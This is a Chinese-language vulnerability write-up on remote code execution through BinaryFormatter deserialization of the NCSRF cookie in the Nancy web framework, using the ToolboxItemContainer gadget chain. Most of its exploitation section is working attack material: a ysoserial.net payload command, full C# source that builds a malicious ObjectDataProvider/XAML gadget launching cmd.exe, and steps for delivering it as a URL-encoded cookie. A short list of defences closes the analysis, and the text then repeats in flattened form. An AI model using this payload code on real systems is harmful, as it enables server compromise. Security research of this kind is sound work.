.net反序列化之Nancy cookie反序列化及攻击链ToolboxItemContainer
字数 1215 2025-08-05 08:17:36

Nancy Cookie反序列化漏洞及ToolboxItemContainer攻击链分析

漏洞概述

Nancy是一个轻量级Web框架,其Cookie中的NCSRF字段使用BinaryFormatter进行序列化和反序列化,存在反序列化漏洞,可导致远程代码执行(RCE)。本文详细分析该漏洞原理及利用ToolboxItemContainer攻击链的方法。

环境搭建

  1. 从GitHub下载Nancy的Demo案例:
    https://github.com/NancyFx/Nancy.Demo.Samples
    
  2. 使用Visual Studio打开并运行项目
  3. 首次请求会返回包含NCSRF字段的Cookie

漏洞分析

反序列化点

反序列化操作位于Nancy.DefaultObjectSerializer.Deserialize()方法中,该框架使用BinaryFormatter对Cookie中的NCSRF字段进行反序列化。

漏洞验证

  1. 观察NCSRF Cookie值,经过URL+Base64解码后发现是BinaryFormatter序列化的数据
  2. 使用ysoserial.net生成Payload:
    .\ysoserial.exe -f binaryformatter -g ToolboxItemContainer -c calc
    
  3. 将生成的Payload进行URL编码后作为NCSRF Cookie发送,可触发计算器弹出

ToolboxItemContainer攻击链分析

核心类分析

攻击链主要涉及两个关键类:

  1. ToolboxItemSerializer

    • 在反序列化构造函数中,会将Stream字段中的byte数组使用BinaryFormatter进行反序列化
    • 可利用TextFormattingRunProperties填充byte数组,实现RCE
  2. TextFormattingRunProperties

    • 用于构造恶意序列化数据
    • 可通过ObjectDataProvider和XamlWriter实现命令执行

自定义Payload实现

以下是比ysoserial更简洁的自定义Payload实现代码:

using Microsoft.VisualStudio.Text.Formatting;
using System;
using System.Collections.Specialized;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.Windows.Data;
using System.Windows.Markup;

namespace NancySerialize
{
    class Program
    {
        static void Main(string[] args)
        {
            BinaryFormatter binaryFormatter = new BinaryFormatter();
            byte[] vs;
            using (MemoryStream memory = new MemoryStream())
            {
                binaryFormatter.Serialize(memory, new TextFormattingRunPropertiesMarshal("calc"));
                vs = memory.ToArray();
            }

            ToolboxItemSerializerMarshal toolBox = new ToolboxItemSerializerMarshal(vs);
            using (MemoryStream memoryStream = new MemoryStream())
            {
                binaryFormatter.Serialize(memoryStream, toolBox);
                memoryStream.Position = 0;
                binaryFormatter.Deserialize(memoryStream);
            }
        }
    }

    [Serializable]
    public class ToolboxItemSerializerMarshal : ISerializable
    {
        public ToolboxItemSerializerMarshal(byte[] payload)
        {
            Payload = payload;
        }

        private byte[] Payload { get; }

        public void GetObjectData(SerializationInfo info, StreamingContext context)
        {
            info.SetType(Type.GetType("System.Drawing.Design.ToolboxItemContainer+ToolboxItemSerializer, System.Drawing.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"));
            info.AddValue("AssemblyName", new AssemblyName());
            info.AddValue("Stream", Payload);
        }
    }

    [Serializable]
    public class TextFormattingRunPropertiesMarshal : ISerializable
    {
        public static string gadget(string cmd)
        {
            // ObjectDataProvider
            ProcessStartInfo psi = new ProcessStartInfo();
            psi.FileName = "cmd.exe";
            psi.Arguments = $"/c {cmd}";
            
            StringDictionary dict = new StringDictionary();
            psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
            
            Process p = new Process();
            p.StartInfo = psi;
            
            ObjectDataProvider odp = new ObjectDataProvider();
            odp.MethodName = "Start";
            odp.IsInitialLoadEnabled = false;
            odp.ObjectInstance = p;
            
            return XamlWriter.Save(odp);
        }

        protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
        {
        }

        string _xaml;

        public void GetObjectData(SerializationInfo info, StreamingContext context)
        {
            Type typeTFRP = typeof(TextFormattingRunProperties);
            info.SetType(typeTFRP);
            info.AddValue("ForegroundBrush", _xaml);
        }

        public TextFormattingRunPropertiesMarshal(string cmd)
        {
            _xaml = gadget(cmd);
        }

        public TextFormattingRunPropertiesMarshal()
        {
            _xaml = gadget("calc");
        }
    }
}

攻击链执行流程

  1. 创建TextFormattingRunPropertiesMarshal对象,构造恶意XAML
  2. 将恶意对象序列化为byte数组
  3. 创建ToolboxItemSerializerMarshal对象,包装恶意byte数组
  4. 序列化ToolboxItemSerializerMarshal对象
  5. 反序列化时触发命令执行

替代方案

可以使用TypeConfuseDelegate链替代TextFormattingRunProperties,绕过某些环境限制。

防御措施

  1. 避免使用BinaryFormatter进行反序列化
  2. 使用安全的序列化方式如JSON
  3. 实现自定义的序列化/反序列化逻辑
  4. 对Cookie进行签名验证

总结

Nancy框架的Cookie反序列化漏洞展示了BinaryFormatter的安全风险,结合ToolboxItemContainer攻击链可以实现远程代码执行。理解这些漏洞原理有助于开发更安全的应用程序和更有效的防御措施。

Nancy Cookie反序列化漏洞及ToolboxItemContainer攻击链分析 漏洞概述 Nancy是一个轻量级Web框架,其Cookie中的NCSRF字段使用BinaryFormatter进行序列化和反序列化,存在反序列化漏洞,可导致远程代码执行(RCE)。本文详细分析该漏洞原理及利用ToolboxItemContainer攻击链的方法。 环境搭建 从GitHub下载Nancy的Demo案例: 使用Visual Studio打开并运行项目 首次请求会返回包含NCSRF字段的Cookie 漏洞分析 反序列化点 反序列化操作位于 Nancy.DefaultObjectSerializer.Deserialize() 方法中,该框架使用BinaryFormatter对Cookie中的NCSRF字段进行反序列化。 漏洞验证 观察NCSRF Cookie值,经过URL+Base64解码后发现是BinaryFormatter序列化的数据 使用ysoserial.net生成Payload: 将生成的Payload进行URL编码后作为NCSRF Cookie发送,可触发计算器弹出 ToolboxItemContainer攻击链分析 核心类分析 攻击链主要涉及两个关键类: ToolboxItemSerializer : 在反序列化构造函数中,会将Stream字段中的byte数组使用BinaryFormatter进行反序列化 可利用TextFormattingRunProperties填充byte数组,实现RCE TextFormattingRunProperties : 用于构造恶意序列化数据 可通过ObjectDataProvider和XamlWriter实现命令执行 自定义Payload实现 以下是比ysoserial更简洁的自定义Payload实现代码: 攻击链执行流程 创建TextFormattingRunPropertiesMarshal对象,构造恶意XAML 将恶意对象序列化为byte数组 创建ToolboxItemSerializerMarshal对象,包装恶意byte数组 序列化ToolboxItemSerializerMarshal对象 反序列化时触发命令执行 替代方案 可以使用TypeConfuseDelegate链替代TextFormattingRunProperties,绕过某些环境限制。 防御措施 避免使用BinaryFormatter进行反序列化 使用安全的序列化方式如JSON 实现自定义的序列化/反序列化逻辑 对Cookie进行签名验证 总结 Nancy框架的Cookie反序列化漏洞展示了BinaryFormatter的安全风险,结合ToolboxItemContainer攻击链可以实现远程代码执行。理解这些漏洞原理有助于开发更安全的应用程序和更有效的防御措施。